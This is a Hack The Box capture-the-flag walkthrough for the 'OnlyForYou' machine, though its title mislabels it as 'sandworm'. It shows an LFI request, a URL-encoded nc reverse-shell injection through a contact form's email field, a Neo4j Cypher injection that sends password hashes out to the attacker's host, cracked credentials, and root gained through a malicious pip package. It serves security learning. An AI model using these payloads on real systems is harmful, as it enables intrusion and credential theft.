hackthebox sandworm medium writeup
This is the write up for the medium machine 'onlyrforyou'.
Topic covered in this article are: LFI,commnad injection,neo4j cipher injection,malicious python packages and code execution via pip download.
Shell as user
Subdomain enumeration:
ffuf -u http://only4you.htb -H "Host:FUZZ.only4you.htb" -w /Discovery/DNS/shubs-subdomains.txt
And we find a "Beta" filed.
Looking at the beta.only4you.htb
At right corner,there are two button named resize and convert.
Select the resize and them choose an image to upload,we will initiate a POST request to the /reszie endpoint with file contents.After it's uploaded we'll redirected to /list.From here we can choose a format to download the image in :
If we click one formate and the post request that looks like this:
POST /download HTTP/1.1 Host: beta.only4you.htb Content-Length: 17 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://beta.only4you.htb Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://beta.only4you.htb/list Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close image=200x200.jpg
If we change the content after "image=",like /etc/passwd.And the server will allow us to read files on the server(LFI).
By simply changing to POST data to /etc/passwd we can retrieve the /etc/passwd file.
The source code is as follows:
@app.route('/download', methods=['POST']) def download(): image = request.form['image'] filename = posixpath.normpath(image) if '..' in filename or filename.startswith('../'): flash('Hacking detected!', 'danger') return redirect('/list') if not os.path.isabs(filename): filename = os.path.join(app.config['LIST_FOLDER'], filename) try: if not os.path.isfile(filename): flash('Image doesn\'t exist!', 'danger') return redirect('/list') except (TypeError, ValueError): raise BadRequest() return send_file(filename, as_attachment=True)
Select file to include
Here is a question,what file can we locate and obtain some useful message.
Type one :CMD
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/pid/cmdline
/proc/self/cmdline
Type two: sensitive file
Web root directory
/etc/nginx/sites-available/default
From the examing the Server: Headers that gets returned we can determine that the web server is operating using Nginx so we can go ahead and use the LIF to grab /etc/nginx/sites-available/default:
server { listen 80; return 301 http://only4you.htb$request_uri; } server { listen 80; server_name only4you.htb; location / { include proxy_params; proxy_pass http://unix:/var/www/only4you.htb/only4you.sock; } } server { listen 80; server_name beta.only4you.htb; location / { include proxy_params; proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock; } }
This file help us determine the web-root.In the source code we download from the beta site,we could see that it was using app.py file.
So I assume that the main site of bata is also using app.py file so I try to grab it with LFI : /var/www/only4you.htb/app.py
from flask import Flask, render_template, request, flash, redirect from form import sendmessage import uuid app = Flask(__name__) app.secret_key = uuid.uuid4().hex @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': email = request.form['email'] subject = request.form['subject'] message = request.form['message'] ip = request.remote_addr status = sendmessage(email, subject, message, ip) if status == 0: flash('Something went wrong!', 'danger') elif status == 1: flash('You are not authorized!', 'danger') else: flash('Your message was successfuly sent! We will reply as soon as possible.', 'success') return redirect('/#contact') else: return render_template('index.html') @app.errorhandler(404) def page_not_found(error): return render_template('404.html'), 404 @app.errorhandler(500) def server_errorerror(error): return render_template('500.html'), 500 @app.errorhandler(400) def bad_request(error): return render_template('400.html'), 400 @app.errorhandler(405) def method_not_allowed(error): return render_template('405.html'), 405 if __name__ == '__main__': app.run(host='127.0.0.1', port=80, debug=False)
This text help us learn that this app.py file import another python file named form so I go and grab that file with LFI :/var/www/only4you.htb/form.py
import smtplib, re from email.message import EmailMessage from subprocess import PIPE, run import ipaddress def issecure(email, ip): if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email): return 0 else: domain = email.split("@", 1)[1] result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if "v=spf1" not in output: return 1 else: domains = [] ips = [] if "include:" in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") dms.pop(0) for domain in dms: domains.append(domain) while True: for domain in domains: result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if "include:" in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") domains.clear() for domain in dms: domains.append(domain) elif "ip4:" in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: pass break elif "ip4" in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: return 1 for i in ips: if ip == i: return 2 elif ipaddress.ip_address(ip) in ipaddress.ip_network(i): return 2 else: return 1 def sendmessage(email, subject, message, ip): status = issecure(email, ip) if status == 2: msg = EmailMessage() msg['From'] = f'{email}' msg['To'] = 'info@only4you.htb' msg['Subject'] = f'{subject}' msg['Message'] = f'{message}' smtp = smtplib.SMTP(host='localhost', port=25) smtp.send_message(msg) smtp.quit() return status elif status == 1: return status else: return status
Reveiwing and code auditing. This python code have a vulnerability that allow attacker command exectute on the server at the filed "email"
INSTRUCTION:
If we add a semicolon after the email the server will also run the another command after it
Here is a reverse shell command
name=shell&email=shell%40123.com;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|bin/sh+-i+2>%261|nc+10.10.14.16+4444+>/tmp/f&submject=shell&message=shell name=greper&email=greper%40test.com;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.16+4444+>/tmp/f&subject=TEST&message=test
It will result in reverse shell connection:
The next step is using chisel to forward these ports to our attack machine:
#Do this for each port you want to forward ./chisel server -p 1234 --reverse #Server ./chisel client 10.10.14.16:1234 R:7687:127.0.0.1:7687 #Client
Once I forward all of the ports to my attack machine, I browse to http://localhost:3000
and here I find a Gogs deployment. I am unable to log in or view any public repos, but at least I learn that there is a user named john
.
Using neo4j cipher injection to obtain password hash
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.16/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
This results the following:
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:10] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [25/Aug/2023 13:33:10] "GET /?username=john HTTP/1.1" 200 -
Using john or hashcat to get these plain password.
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You
We can ssh into the machine as john.
Shell as root
sudo -l
Matching Defaults entries for john on only4you: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User john may run the following commands on only4you: (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz john@only4you:~$
Google it and find the link about this exploit
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
Cause pip3 download the http url.
So we need to git pull the exploit tar.gz file .
The step as follow:
git init git add . git commit -m "fxxxx" git remote add origin http://127.0.0.1:3000/john/grep.git git push -u origin master/main
Once we’ve done this, the only thing left to do is run this command:
sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/grep/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/grep/raw/mster/xxx.tar.gz
This will trigger the exploit and the SUID bit will get filpped on for the /bin/bash binary.
Using bash -p to escalate privilege.